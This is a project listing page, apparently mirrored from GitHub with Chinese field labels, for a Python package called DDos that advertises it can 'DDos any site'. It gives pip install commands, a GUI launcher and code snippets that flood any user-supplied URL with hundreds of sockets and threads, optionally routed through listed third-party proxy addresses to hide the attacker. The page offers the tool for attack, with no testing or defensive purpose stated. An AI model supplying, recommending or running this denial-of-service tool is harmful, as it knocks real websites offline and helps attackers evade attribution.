项目作者: donno2048

项目描述 :
DDos any site using python
高级语言: Python
项目地址: git://github.com/donno2048/DDos.git
创建时间: 2021-04-27T09:23:06Z
项目社区:https://github.com/donno2048/DDos

开源协议:MIT License

下载


DDos

DDos any site using python

Install

From PyPI

pip3 install DDos==1.0.1 (You should really use this version)

From GitHub

pip3 install git+https://github.com/donno2048/DDos

Usage

GUI

To use it just run:

  1. DDos

or

  1. ddos

in the terminal to launch the GUI (Tkinter is a requirement for the GUI so use: sudo apt-get update && sudo apt-get install python3-tk -y on Linux. On Windows it’s already installed)

TUI

To use the text-based user interface see this python example:

  1. from DDos import checkUrl, DDos # import the needed functions
  2. while True:
  3. url = input("Give me a URL: ") # get a url from the user
  4. if checkUrl(url): break # if it's formatted correctly exit the loop
  5. else: print("This URL isn't formatted correctly, try again") # else, go back
  6. DDos(url, sockets = 400, threads = 10) # ddos this url with 400 sockets and 10 threads

or simply:

  1. from DDos import DDos
  2. DDos(input("Give me a URL: ")) # if the url isn't formatted correctly it will have an assertion error, use 500 sockets and 10 threads, no proxies will be used

The DDos function also has a proxies optional variable and there is a checkProxy function, you can use them like so:

  1. from DDos import DDos, checkProxy
  2. assert checkProxy("109.237.91.155:8080")
  3. assert checkProxy("178.128.37.176:80")
  4. DDos(input("Give me a URL: "), proxies = ["109.237.91.155:8080", "178.128.37.176:80"])

If you give an invalid proxy you will get an assertion error.